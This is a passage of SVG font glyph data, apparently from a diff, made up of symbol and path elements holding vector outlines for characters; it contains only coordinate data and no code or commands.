-0.71875 4.515625 -0.71875 C 4.554688 -0.71875 4.597656 -0.707031 4.640625 -0.6875 L 4.671875 -0.78125 C 4.628906 -0.800781 4.578125 -0.8125 4.515625 -0.8125 C 4.421875 -0.8125 4.375 -0.765625 4.375 -0.671875 C 4.375 -0.617188 4.382812 -0.585938 4.40625 -0.578125 C 4.4375 -0.566406 4.460938 -0.554688 4.484375 -0.546875 C 4.535156 -0.546875 4.5625 -0.53125 4.5625 -0.5 C 4.5625 -0.476562 4.546875 -0.46875 4.515625 -0.46875 C 4.472656 -0.46875 4.429688 -0.476562 4.390625 -0.5 Z M 4.953125 -0.609375 C 4.953125 -0.410156 5.050781 -0.3125 5.25 -0.3125 C 5.445312 -0.3125 5.546875 -0.410156 5.546875 -0.609375 C 5.546875 -0.804688 5.445312 -0.90625 5.25 -0.90625 C 5.175781 -0.90625 5.109375 -0.878906 5.046875 -0.828125 C 4.984375 -0.773438 4.953125 -0.703125 4.953125 -0.609375 Z M 5.046875 -0.609375 C 5.046875 -0.765625 5.113281 -0.84375 5.25 -0.84375 C 5.382812 -0.84375 5.453125 -0.765625 5.453125 -0.609375 C 5.453125 -0.460938 5.382812 -0.390625 5.25 -0.390625 C 5.113281 -0.390625 5.046875 -0.460938 5.046875 -0.609375 Z M 5.34375 -0.5625 C 5.320312 -0.550781 5.300781 -0.546875 5.28125 -0.546875 C 5.238281 -0.546875 5.21875 -0.566406 5.21875 -0.609375 C 5.21875 -0.648438 5.238281 -0.671875 5.28125 -0.671875 L 5.328125 -0.671875 L 5.359375 -0.734375 C 5.316406 -0.753906 5.28125 -0.765625 5.25 -0.765625 C 5.164062 -0.765625 5.125 -0.710938 5.125 -0.609375 C 5.125 -0.503906 5.164062 -0.453125 5.25 -0.453125 C 5.300781 -0.453125 5.335938 -0.460938 5.359375 -0.484375 Z M 5.859375 -0.390625 L 5.96875 -0.390625 L 5.96875 -0.578125 L 6.03125 -0.578125 C 6.09375 -0.578125 6.144531 -0.585938 6.1875 -0.609375 C 6.238281 -0.628906 6.265625 -0.675781 6.265625 -0.75 C 6.265625 -0.820312 6.238281 -0.867188 6.1875 -0.890625 C 6.132812 -0.910156 6.078125 -0.921875 6.015625 -0.921875 L 5.859375 -0.921875 Z M 6.03125 -0.84375 C 6.101562 -0.84375 6.140625 -0.816406 6.140625 -0.765625 C 6.140625 -0.710938 6.128906 -0.679688 6.109375 -0.671875 C 6.085938 -0.671875 6.054688 -0.671875 6.015625 -0.671875 L 5.96875 -0.671875 L 5.96875 -0.84375 Z M 6.34375 -0.6875 C 6.375 -0.707031 6.414062 -0.71875 6.46875 -0.71875 C 6.519531 -0.71875 6.546875 -0.695312 6.546875 -0.65625 L 6.546875 -0.625 C 6.535156 -0.625 6.523438 -0.625 6.515625 -0.625 C 6.503906 -0.632812 6.488281 -0.640625 6.46875 -0.640625 C 6.34375 -0.640625 6.28125 -0.59375 6.28125 -0.5 C 6.28125 -0.414062 6.320312 -0.375 6.40625 -0.375 C 6.46875 -0.375 6.515625 -0.398438 6.546875 -0.453125 L 6.578125 -0.390625 L 6.65625 -0.390625 C 6.644531 -0.410156 6.640625 -0.445312 6.640625 -0.5 L 6.640625 -0.65625 C 6.640625 -0.757812 6.59375 -0.8125 6.5 -0.8125 C 6.457031 -0.8125 6.421875 -0.804688 6.390625 -0.796875 C 6.359375 -0.785156 6.332031 -0.773438 6.3125 -0.765625 Z M 6.453125 -0.46875 C 6.410156 -0.46875 6.390625 -0.488281 6.390625 -0.53125 C 6.390625 -0.570312 6.414062 -0.59375 6.46875 -0.59375 C 6.488281 -0.59375 6.503906 -0.585938 6.515625 -0.578125 C 6.523438 -0.578125 6.535156 -0.578125 6.546875 -0.578125 L 6.546875 -0.53125 C 6.523438 -0.488281 6.492188 -0.46875 6.453125 -0.46875 Z M 7.015625 -0.796875 C 7.003906 -0.804688 6.984375 -0.8125 6.953125 -0.8125 C 6.910156 -0.8125 6.878906 -0.785156 6.859375 -0.734375 L 6.84375 -0.796875 L 6.75 -0.796875 L 6.75 -0.390625 L 6.859375 -0.390625 L 6.859375 -0.640625 C 6.859375 -0.679688 6.890625 -0.703125 6.953125 -0.703125 L 6.96875 -0.703125 C 6.976562 -0.703125 6.984375 -0.695312 6.984375 -0.6875 C 6.984375 -0.6875 6.988281 -0.6875 7 -0.6875 Z M 7.09375 -0.6875 C 7.144531 -0.707031 7.1875 -0.71875 7.21875 -0.71875 C 7.269531 -0.71875 7.296875 -0.695312 7.296875 -0.65625 L 7.296875 -0.625 C 7.285156 -0.625 7.273438 -0.625 7.265625 -0.625 C 7.253906 -0.632812 7.238281 -0.640625 7.21875 -0.640625 C 7.09375 -0.640625 7.03125 -0.59375 7.03125 -0.5 C 7.03125 -0.414062 7.070312 -0.375 7.15625 -0.375 C 7.226562 -0.375 7.273438 -0.398438 7.296875 -0.453125 L 7.3125 -0.453125 L 7.328125 -0.390625 L 7.40625 -0.390625 C 7.394531 -0.410156 7.390625 -0.445312 7.390625 -0.5 L 7.390625 -0.65625 C 7.390625 -0.757812 7.34375 -0.8125 7.25 -0.8125 C 7.207031 -0.8125 7.171875 -0.804688 7.140625 -0.796875 C 7.109375 -0.785156 7.085938 -0.773438 7.078125 -0.765625 Z M 7.203125 -0.46875 C 7.160156 -0.46875 7.140625 -0.488281 7.140625 -0.53125 C 7.140625 -0.570312 7.164062 -0.59375 7.21875 -0.59375 C 7.238281 -0.59375 7.253906 -0.585938 7.265625 -0.578125 C 7.273438 -0.578125 7.285156 -0.578125 7.296875 -0.578125 L 7.296875 -0.53125 C 7.273438 -0.488281 7.242188 -0.46875 7.203125 -0.46875 Z M 7.8125 -0.921875 L 7.359375 -0.921875 L 7.359375 -0.84375 L 7.53125 -0.84375 L 7.53125 -0.390625 L 7.640625 -0.390625 L 7.640625 -0.84375 L 7.8125 -0.84375 Z M 7.9375 -0.796875 L 7.8125 -0.796875 L 8 -0.390625 C 7.988281 -0.347656 7.960938 -0.328125 7.921875 -0.328125 L 7.90625 -0.34375 L 7.875 -0.25 C 7.894531 -0.238281 7.921875 -0.234375 7.953125 -0.234375 C 8.003906 -0.234375 8.050781 -0.296875 8.09375 -0.421875 L 8.25 -0.796875 L 8.125 -0.796875 L 8.0625 -0.578125 L 8.0625 -0.5 L 8.046875 -0.5 L 8.03125 -0.578125 Z M 8.296875 -0.234375 L 8.40625 -0.234375 L 8.40625 -0.40625 C 8.414062 -0.382812 8.441406 -0.375 8.484375 -0.375 C 8.617188 -0.375 8.6875 -0.445312 8.6875 -0.59375 C 8.6875 -0.738281 8.632812 -0.8125 8.53125 -0.8125 C 8.476562 -0.8125 8.429688 -0.789062 8.390625 -0.75 L 8.375 -0.75 L 8.359375 -0.796875 L 8.296875 -0.796875 Z M 8.5 -0.71875 C 8.539062 -0.71875 8.5625 -0.675781 8.5625 -0.59375 C 8.5625 -0.507812 8.53125 -0.46875 8.46875 -0.46875 C 8.445312 -0.46875 8.425781 -0.476562 8.40625 -0.5 L 8.40625 -0.640625 C 8.40625 -0.691406 8.4375 -0.71875 8.5 -0.71875 Z M 9.0625 -0.5 C 9.039062 -0.476562 9.007812 -0.46875 8.96875 -0.46875 C 8.894531 -0.46875 8.851562 -0.5 8.84375 -0.5625 L 9.125 -0.5625 L 9.125 -0.640625 C 9.125 -0.703125 9.101562 -0.742188 9.0625 -0.765625 C 9.03125 -0.796875 8.992188 -0.8125 8.953125 -0.8125 C 8.816406 -0.8125 8.75 -0.738281 8.75 -0.59375 C 8.75 -0.445312 8.816406 -0.375 8.953125 -0.375 C 8.984375 -0.375 9.007812 -0.378906 9.03125 -0.390625 C 9.0625 -0.398438 9.085938 -0.410156 9.109375 -0.421875 Z M 8.953125 -0.71875 C 9.003906 -0.71875 9.023438 -0.6875 9.015625 -0.625 L 8.859375 -0.625 C 8.859375 -0.6875 8.890625 -0.71875 8.953125 -0.71875 Z M 8.953125 -0.71875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 1.046875 -7.328125 L 2.09375 -7.328125 L 2.09375 0 L 1.046875 0 Z M 0.84375 -9.5625 C 0.84375 -9.800781 0.910156 -9.992188 1.046875 -10.140625 C 1.179688 -10.285156 1.351562 -10.359375 1.5625 -10.359375 C 1.78125 -10.359375 1.957031 -10.285156 2.09375 -10.140625 C 2.238281 -10.003906 2.3125 -9.8125 2.3125 -9.5625 C 2.3125 -9.332031 2.238281 -9.148438 2.09375 -9.015625 C 1.957031 -8.878906 1.78125 -8.8125 1.5625 -8.8125 C 1.351562 -8.8125 1.179688 -8.878906 1.046875 -9.015625 C 0.910156 -9.160156 0.84375 -9.34375 0.84375 -9.5625 Z M 0.84375 -9.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 5.484375 -2.53125 C 5.484375 -2.03125 5.488281 -1.578125 5.5 -1.171875 C 5.507812 -0.765625 5.546875 -0.363281 5.609375 0.03125 L 4.890625 0.03125 L 4.65625 -0.84375 L 4.59375 -0.84375 C 4.457031 -0.550781 4.238281 -0.304688 3.9375 -0.109375 C 3.644531 0.078125 3.296875 0.171875 2.890625 0.171875 C 2.097656 0.171875 1.507812 -0.132812 1.125 -0.75 C 0.738281 -1.363281 0.546875 -2.332031 0.546875 -3.65625 C 0.546875 -4.90625 0.78125 -5.851562 1.25 -6.5 C 1.726562 -7.144531 2.382812 -7.46875 3.21875 -7.46875 C 3.5 -7.46875 3.722656 -7.445312 3.890625 -7.40625 C 4.054688 -7.375 4.238281 -7.320312 4.4375 -7.25 L 4.4375 -10.265625 L 5.484375 -10.265625 Z M 4.4375 -6.171875 C 4.289062 -6.296875 4.132812 -6.382812 3.96875 -6.4375 C 3.800781 -6.488281 3.570312 -6.515625 3.28125 -6.515625 C 2.769531 -6.515625 2.367188 -6.28125 2.078125 -5.8125 C 1.785156 -5.34375 1.640625 -4.617188 1.640625 -3.640625 C 1.640625 -3.210938 1.664062 -2.820312 1.71875 -2.46875 C 1.769531 -2.125 1.851562 -1.820312 1.96875 -1.5625 C 2.082031 -1.3125 2.226562 -1.117188 2.40625 -0.984375 C 2.59375 -0.847656 2.816406 -0.78125 3.078125 -0.78125 C 3.785156 -0.78125 4.238281 -1.195312 4.4375 -2.03125 Z M 4.4375 -6.171875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 4.625 0 L 4.625 -4.46875 C 4.625 -5.207031 4.535156 -5.738281 4.359375 -6.0625 C 4.191406 -6.394531 3.890625 -6.5625 3.453125 -6.5625 C 3.054688 -6.5625 2.726562 -6.441406 2.46875 -6.203125 C 2.21875 -5.972656 2.035156 -5.6875 1.921875 -5.34375 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.625 -7.328125 L 1.8125 -6.5625 L 1.859375 -6.5625 C 2.046875 -6.820312 2.296875 -7.046875 2.609375 -7.234375 C 2.929688 -7.421875 3.3125 -7.515625 3.75 -7.515625 C 4.0625 -7.515625 4.335938 -7.46875 4.578125 -7.375 C 4.816406 -7.289062 5.015625 -7.140625 5.171875 -6.921875 C 5.335938 -6.710938 5.460938 -6.429688 5.546875 -6.078125 C 5.628906 -5.734375 5.671875 -5.289062 5.671875 -4.75 L 5.671875 0 Z M 4.625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 0.796875 -6.890625 C 1.078125 -7.066406 1.421875 -7.203125 1.828125 -7.296875 C 2.234375 -7.398438 2.660156 -7.453125 3.109375 -7.453125 C 3.523438 -7.453125 3.851562 -7.390625 4.09375 -7.265625 C 4.34375 -7.148438 4.539062 -6.984375 4.6875 -6.765625 C 4.832031 -6.554688 4.925781 -6.316406 4.96875 -6.046875 C 5.007812 -5.785156 5.03125 -5.503906 5.03125 -5.203125 C 5.03125 -4.617188 5.015625 -4.046875 4.984375 -3.484375 C 4.960938 -2.929688 4.953125 -2.40625 4.953125 -1.90625 C 4.953125 -1.53125 4.960938 -1.179688 4.984375 -0.859375 C 5.015625 -0.546875 5.066406 -0.25 5.140625 0.03125 L 4.328125 0.03125 L 4.078125 -0.84375 L 4.015625 -0.84375 C 3.867188 -0.582031 3.65625 -0.359375 3.375 -0.171875 C 3.09375 0.015625 2.710938 0.109375 2.234375 0.109375 C 1.703125 0.109375 1.265625 -0.0703125 0.921875 -0.4375 C 0.585938 -0.8125 0.421875 -1.320312 0.421875 -1.96875 C 0.421875 -2.382812 0.488281 -2.734375 0.625 -3.015625 C 0.769531 -3.304688 0.972656 -3.535156 1.234375 -3.703125 C 1.492188 -3.878906 1.800781 -4.003906 2.15625 -4.078125 C 2.519531 -4.160156 2.921875 -4.203125 3.359375 -4.203125 C 3.453125 -4.203125 3.546875 -4.203125 3.640625 -4.203125 C 3.742188 -4.203125 3.851562 -4.195312 3.96875 -4.1875 C 3.988281 -4.488281 4 -4.753906 4 -4.984375 C 4 -5.546875 3.914062 -5.9375 3.75 -6.15625 C 3.582031 -6.382812 3.28125 -6.5 2.84375 -6.5 C 2.570312 -6.5 2.273438 -6.457031 1.953125 -6.375 C 1.628906 -6.289062 1.359375 -6.1875 1.140625 -6.0625 Z M 3.96875 -3.34375 C 3.875 -3.351562 3.773438 -3.359375 3.671875 -3.359375 C 3.578125 -3.367188 3.484375 -3.375 3.390625 -3.375 C 3.148438 -3.375 2.914062 -3.351562 2.6875 -3.3125 C 2.46875 -3.269531 2.269531 -3.203125 2.09375 -3.109375 C 1.914062 -3.015625 1.773438 -2.882812 1.671875 -2.71875 C 1.578125 -2.550781 1.53125 -2.335938 1.53125 -2.078125 C 1.53125 -1.691406 1.625 -1.390625 1.8125 -1.171875 C 2 -0.953125 2.242188 -0.84375 2.546875 -0.84375 C 2.960938 -0.84375 3.28125 -0.941406 3.5 -1.140625 C 3.726562 -1.335938 3.882812 -1.554688 3.96875 -1.796875 Z M 3.96875 -3.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d="M 4.296875 0 L 4.296875 -4.359375 C 4.296875 -4.742188 4.28125 -5.078125 4.25 -5.359375 C 4.226562 -5.640625 4.175781 -5.867188 4.09375 -6.046875 C 4.019531 -6.222656 3.914062 -6.351562 3.78125 -6.4375 C 3.644531 -6.519531 3.46875 -6.5625 3.25 -6.5625 C 2.914062 -6.5625 2.628906 -6.429688 2.390625 -6.171875 C 2.160156 -5.910156 2.003906 -5.613281 1.921875 -5.28125 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 2.050781 -6.84375 2.296875 -7.070312 2.578125 -7.25 C 2.859375 -7.425781 3.222656 -7.515625 3.671875 -7.515625 C 4.035156 -7.515625 4.335938 -7.429688 4.578125 -7.265625 C 4.816406 -7.109375 5.007812 -6.820312 5.15625 -6.40625 C 5.320312 -6.75 5.566406 -7.019531 5.890625 -7.21875 C 6.222656 -7.414062 6.585938 -7.515625 6.984375 -7.515625 C 7.304688 -7.515625 7.582031 -7.472656 7.8125 -7.390625 C 8.039062 -7.304688 8.222656 -7.15625 8.359375 -6.9375 C 8.503906 -6.726562 8.609375 -6.453125 8.671875 -6.109375 C 8.742188 -5.765625 8.78125 -5.328125 8.78125 -4.796875 L 8.78125 0 L 7.734375 0 L 7.734375 -4.671875 C 7.734375 -5.304688 7.671875 -5.78125 7.546875 -6.09375 C 7.421875 -6.40625 7.140625 -6.5625 6.703125 -6.5625 C 6.328125 -6.5625 6.03125 -6.445312 5.8125 -6.21875 C 5.59375 -5.988281 5.441406 -5.675781 5.359375 -5.28125 L 5.359375 0 Z M 4.296875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 5.25 -0.5 C 5.019531 -0.28125 4.722656 -0.113281 4.359375 0 C 3.992188 0.113281 3.613281 0.171875 3.21875 0.171875 C 2.757812 0.171875 2.359375 0.0820312 2.015625 -0.09375 C 1.679688 -0.269531 1.398438 -0.523438 1.171875 -0.859375 C 0.953125 -1.203125 0.789062 -1.609375 0.6875 -2.078125 C 0.59375 -2.546875 0.546875 -3.078125 0.546875 -3.671875 C 0.546875 -4.921875 0.773438 -5.875 1.234375 -6.53125 C 1.691406 -7.1875 2.34375 -7.515625 3.1875 -7.515625 C 3.457031 -7.515625 3.726562 -7.476562 4 -7.40625 C 4.269531 -7.34375 4.507812 -7.207031 4.71875 -7 C 4.9375 -6.789062 5.109375 -6.5 5.234375 -6.125 C 5.367188 -5.757812 5.4375 -5.28125 5.4375 -4.6875 C 5.4375 -4.519531 5.429688 -4.335938 5.421875 -4.140625 C 5.410156 -3.953125 5.394531 -3.753906 5.375 -3.546875 L 1.640625 -3.546875 C 1.640625 -3.128906 1.671875 -2.75 1.734375 -2.40625 C 1.804688 -2.0625 1.914062 -1.769531 2.0625 -1.53125 C 2.207031 -1.289062 2.394531 -1.101562 2.625 -0.96875 C 2.863281 -0.84375 3.148438 -0.78125 3.484375 -0.78125 C 3.753906 -0.78125 4.019531 -0.828125 4.28125 -0.921875 C 4.539062 -1.023438 4.738281 -1.144531 4.875 -1.28125 Z M 4.4375 -4.4375 C 4.445312 -5.164062 4.335938 -5.703125 4.109375 -6.046875 C 3.890625 -6.390625 3.585938 -6.5625 3.203125 -6.5625 C 2.753906 -6.5625 2.394531 -6.390625 2.125 -6.046875 C 1.863281 -5.703125 1.707031 -5.164062 1.65625 -4.4375 Z M 4.4375 -4.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.78125 -6.546875 L 1.828125 -6.546875 C 2.191406 -7.191406 2.757812 -7.515625 3.53125 -7.515625 C 4.300781 -7.515625 4.878906 -7.222656 5.265625 -6.640625 C 5.660156 -6.066406 5.859375 -5.125 5.859375 -3.8125 C 5.859375 -3.195312 5.789062 -2.640625 5.65625 -2.140625 C 5.53125 -1.648438 5.347656 -1.226562 5.109375 -0.875 C 4.878906 -0.53125 4.59375 -0.269531 4.25 -0.09375 C 3.914062 0.0820312 3.546875 0.171875 3.140625 0.171875 C 2.859375 0.171875 2.632812 0.15625 2.46875 0.125 C 2.300781 0.09375 2.117188 0.0195312 1.921875 -0.09375 L 1.921875 2.9375 L 0.859375 2.9375 Z M 1.921875 -1.15625 C 2.054688 -1.039062 2.207031 -0.945312 2.375 -0.875 C 2.550781 -0.8125 2.78125 -0.78125 3.0625 -0.78125 C 3.582031 -0.78125 3.992188 -1.039062 4.296875 -1.5625 C 4.597656 -2.09375 4.75 -2.847656 4.75 -3.828125 C 4.75 -4.242188 4.722656 -4.613281 4.671875 -4.9375 C 4.617188 -5.269531 4.53125 -5.554688 4.40625 -5.796875 C 4.289062 -6.035156 4.144531 -6.222656 3.96875 -6.359375 C 3.789062 -6.492188 3.566406 -6.5625 3.296875 -6.5625 C 2.585938 -6.5625 2.128906 -6.125 1.921875 -5.25 Z M 1.921875 -1.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 1.976562 -6.84375 2.15625 -7.0625 2.375 -7.21875 C 2.601562 -7.382812 2.875 -7.46875 3.1875 -7.46875 C 3.40625 -7.46875 3.660156 -7.421875 3.953125 -7.328125 L 3.734375 -6.265625 C 3.484375 -6.347656 3.257812 -6.390625 3.0625 -6.390625 C 2.75 -6.390625 2.492188 -6.300781 2.296875 -6.125 C 2.109375 -5.945312 1.984375 -5.707031 1.921875 -5.40625 L 1.921875 0 L 0.859375 0 Z M 0.859375 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 4.921875 -0.359375 C 4.671875 -0.179688 4.390625 -0.0507812 4.078125 0.03125 C 3.765625 0.125 3.4375 0.171875 3.09375 0.171875 C 2.625 0.171875 2.226562 0.0820312 1.90625 -0.09375 C 1.582031 -0.269531 1.320312 -0.523438 1.125 -0.859375 C 0.925781 -1.203125 0.78125 -1.609375 0.6875 -2.078125 C 0.59375 -2.554688 0.546875 -3.085938 0.546875 -3.671875 C 0.546875 -4.921875 0.765625 -5.875 1.203125 -6.53125 C 1.648438 -7.1875 2.289062 -7.515625 3.125 -7.515625 C 3.507812 -7.515625 3.835938 -7.476562 4.109375 -7.40625 C 4.378906 -7.34375 4.613281 -7.253906 4.8125 -7.140625 L 4.515625 -6.21875 C 4.128906 -6.445312 3.707031 -6.5625 3.25 -6.5625 C 2.71875 -6.5625 2.316406 -6.328125 2.046875 -5.859375 C 1.773438 -5.398438 1.640625 -4.671875 1.640625 -3.671875 C 1.640625 -3.265625 1.664062 -2.882812 1.71875 -2.53125 C 1.78125 -2.1875 1.878906 -1.882812 2.015625 -1.625 C 2.160156 -1.363281 2.335938 -1.15625 2.546875 -1 C 2.765625 -0.851562 3.035156 -0.78125 3.359375 -0.78125 C 3.609375 -0.78125 3.84375 -0.820312 4.0625 -0.90625 C 4.289062 -1 4.472656 -1.101562 4.609375 -1.21875 Z M 4.921875 -0.359375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 0.75 -1.203125 C 0.945312 -1.085938 1.175781 -0.988281 1.4375 -0.90625 C 1.707031 -0.820312 1.988281 -0.78125 2.28125 -0.78125 C 2.601562 -0.78125 2.875 -0.859375 3.09375 -1.015625 C 3.320312 -1.179688 3.4375 -1.441406 3.4375 -1.796875 C 3.4375 -2.109375 3.363281 -2.359375 3.21875 -2.546875 C 3.082031 -2.742188 2.910156 -2.921875 2.703125 -3.078125 C 2.492188 -3.234375 2.265625 -3.378906 2.015625 -3.515625 C 1.773438 -3.648438 1.550781 -3.804688 1.34375 -3.984375 C 1.132812 -4.171875 0.957031 -4.390625 0.8125 -4.640625 C 0.675781 -4.898438 0.609375 -5.226562 0.609375 -5.625 C 0.609375 -6.25 0.773438 -6.71875 1.109375 -7.03125 C 1.453125 -7.351562 1.929688 -7.515625 2.546875 -7.515625 C 2.953125 -7.515625 3.300781 -7.476562 3.59375 -7.40625 C 3.882812 -7.332031 4.140625 -7.226562 4.359375 -7.09375 L 4.078125 -6.21875 C 3.890625 -6.320312 3.671875 -6.40625 3.421875 -6.46875 C 3.179688 -6.53125 2.9375 -6.5625 2.6875 -6.5625 C 2.332031 -6.5625 2.070312 -6.488281 1.90625 -6.34375 C 1.75 -6.195312 1.671875 -5.96875 1.671875 -5.65625 C 1.671875 -5.40625 1.738281 -5.191406 1.875 -5.015625 C 2.007812 -4.847656 2.179688 -4.691406 2.390625 -4.546875 C 2.609375 -4.410156 2.835938 -4.269531 3.078125 -4.125 C 3.328125 -3.976562 3.554688 -3.800781 3.765625 -3.59375 C 3.972656 -3.394531 4.144531 -3.15625 4.28125 -2.875 C 4.414062 -2.601562 4.484375 -2.253906 4.484375 -1.828125 C 4.484375 -1.554688 4.4375 -1.296875 4.34375 -1.046875 C 4.257812 -0.804688 4.128906 -0.59375 3.953125 -0.40625 C 3.773438 -0.226562 3.550781 -0.0859375 3.28125 0.015625 C 3.007812 0.117188 2.691406 0.171875 2.328125 0.171875 C 1.898438 0.171875 1.53125 0.128906 1.21875 0.046875 C 0.90625 -0.0351562 0.640625 -0.144531 0.421875 -0.28125 Z M 0.75 -1.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 0.125 -7.328125 L 1.03125 -7.328125 L 1.03125 -8.78125 L 2.078125 -9.125 L 2.078125 -7.328125 L 3.671875 -7.328125 L 3.671875 -6.375 L 2.078125 -6.375 L 2.078125 -2.015625 C 2.078125 -1.578125 2.128906 -1.265625 2.234375 -1.078125 C 2.335938 -0.890625 2.507812 -0.796875 2.75 -0.796875 C 2.9375 -0.796875 3.101562 -0.816406 3.25 -0.859375 C 3.394531 -0.898438 3.550781 -0.957031 3.71875 -1.03125 L 3.921875 -0.1875 C 3.703125 -0.0820312 3.460938 0 3.203125 0.0625 C 2.941406 0.125 2.671875 0.15625 2.390625 0.15625 C 1.898438 0.15625 1.550781 0 1.34375 -0.3125 C 1.132812 -0.632812 1.03125 -1.148438 1.03125 -1.859375 L 1.03125 -6.375 L 0.125 -6.375 Z M 0.125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 0.546875 -3.671875 C 0.546875 -4.992188 0.769531 -5.960938 1.21875 -6.578125 C 1.675781 -7.203125 2.328125 -7.515625 3.171875 -7.515625 C 4.066406 -7.515625 4.726562 -7.195312 5.15625 -6.5625 C 5.582031 -5.925781 5.796875 -4.960938 5.796875 -3.671875 C 5.796875 -2.335938 5.566406 -1.363281 5.109375 -0.75 C 4.648438 -0.132812 4.003906 0.171875 3.171875 0.171875 C 2.265625 0.171875 1.597656 -0.144531 1.171875 -0.78125 C 0.753906 -1.414062 0.546875 -2.378906 0.546875 -3.671875 Z M 1.640625 -3.671875 C 1.640625 -3.234375 1.664062 -2.835938 1.71875 -2.484375 C 1.769531 -2.140625 1.859375 -1.835938 1.984375 -1.578125 C 2.109375 -1.328125 2.269531 -1.128906 2.46875 -0.984375 C 2.664062 -0.847656 2.898438 -0.78125 3.171875 -0.78125 C 3.679688 -0.78125 4.0625 -1.003906 4.3125 -1.453125 C 4.5625 -1.910156 4.6875 -2.648438 4.6875 -3.671875 C 4.6875 -4.085938 4.660156 -4.472656 4.609375 -4.828125 C 4.554688 -5.191406 4.46875 -5.5 4.34375 -5.75 C 4.226562 -6.007812 4.070312 -6.207031 3.875 -6.34375 C 3.675781 -6.488281 3.441406 -6.5625 3.171875 -6.5625 C 2.671875 -6.5625 2.289062 -6.328125 2.03125 -5.859375 C 1.769531 -5.398438 1.640625 -4.671875 1.640625 -3.671875 Z M 1.640625 -3.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 1.375 -0.984375 L 3.03125 -0.984375 L 3.03125 -8.125 L 3.171875 -9 L 2.671875 -8.296875 L 1.4375 -7.296875 L 0.875 -7.953125 L 3.546875 -10.453125 L 4.09375 -10.453125 L 4.09375 -0.984375 L 5.6875 -0.984375 L 5.6875 0 L 1.375 0 Z M 1.375 -0.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 5.40625 -8.03125 C 5.40625 -7.488281 5.320312 -6.921875 5.15625 -6.328125 C 5 -5.742188 4.796875 -5.164062 4.546875 -4.59375 C 4.296875 -4.019531 4.015625 -3.46875 3.703125 -2.9375 C 3.398438 -2.414062 3.097656 -1.953125 2.796875 -1.546875 L 2.21875 -0.890625 L 2.21875 -0.84375 L 3 -0.984375 L 5.5625 -0.984375 L 5.5625 0 L 0.8125 0 L 0.8125 -0.46875 C 0.988281 -0.695312 1.195312 -0.976562 1.4375 -1.3125 C 1.6875 -1.65625 1.941406 -2.03125 2.203125 -2.4375 C 2.460938 -2.84375 2.71875 -3.273438 2.96875 -3.734375 C 3.21875 -4.191406 3.441406 -4.65625 3.640625 -5.125 C 3.835938 -5.59375 3.992188 -6.054688 4.109375 -6.515625 C 4.234375 -6.972656 4.296875 -7.410156 4.296875 -7.828125 C 4.296875 -8.328125 4.179688 -8.722656 3.953125 -9.015625 C 3.722656 -9.316406 3.390625 -9.46875 2.953125 -9.46875 C 2.671875 -9.46875 2.394531 -9.414062 2.125 -9.3125 C 1.851562 -9.207031 1.617188 -9.078125 1.421875 -8.921875 L 1.015625 -9.703125 C 1.273438 -9.929688 1.59375 -10.113281 1.96875 -10.25 C 2.351562 -10.382812 2.757812 -10.453125 3.1875 -10.453125 C 3.90625 -10.453125 4.453125 -10.226562 4.828125 -9.78125 C 5.210938 -9.332031 5.40625 -8.75 5.40625 -8.03125 Z M 5.40625 -8.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 6.03125 -7.9375 C 6.03125 -7.6875 6 -7.429688 5.9375 -7.171875 C 5.882812 -6.921875 5.789062 -6.679688 5.65625 -6.453125 C 5.53125 -6.234375 5.375 -6.035156 5.1875 -5.859375 C 5 -5.679688 4.765625 -5.546875 4.484375 -5.453125 L 4.484375 -5.40625 C 4.722656 -5.351562 4.945312 -5.269531 5.15625 -5.15625 C 5.375 -5.039062 5.566406 -4.882812 5.734375 -4.6875 C 5.898438 -4.488281 6.03125 -4.242188 6.125 -3.953125 C 6.226562 -3.660156 6.28125 -3.316406 6.28125 -2.921875 C 6.28125 -2.390625 6.195312 -1.929688 6.03125 -1.546875 C 5.863281 -1.160156 5.632812 -0.84375 5.34375 -0.59375 C 5.0625 -0.351562 4.726562 -0.171875 4.34375 -0.046875 C 3.96875 0.0664062 3.570312 0.125 3.15625 0.125 C 3.019531 0.125 2.859375 0.125 2.671875 0.125 C 2.492188 0.125 2.300781 0.113281 2.09375 0.09375 C 1.894531 0.0820312 1.691406 0.0625 1.484375 0.03125 C 1.285156 0.0078125 1.101562 -0.0234375 0.9375 -0.078125 L 0.9375 -10.1875 C 1.226562 -10.238281 1.570312 -10.285156 1.96875 -10.328125 C 2.363281 -10.367188 2.789062 -10.390625 3.25 -10.390625 C 3.582031 -10.390625 3.914062 -10.359375 4.25 -10.296875 C 4.582031 -10.234375 4.878906 -10.113281 5.140625 -9.9375 C 5.410156 -9.757812 5.625 -9.507812 5.78125 -9.1875 C 5.945312 -8.875 6.03125 -8.457031 6.03125 -7.9375 Z M 3.25 -0.890625 C 3.507812 -0.890625 3.75 -0.929688 3.96875 -1.015625 C 4.195312 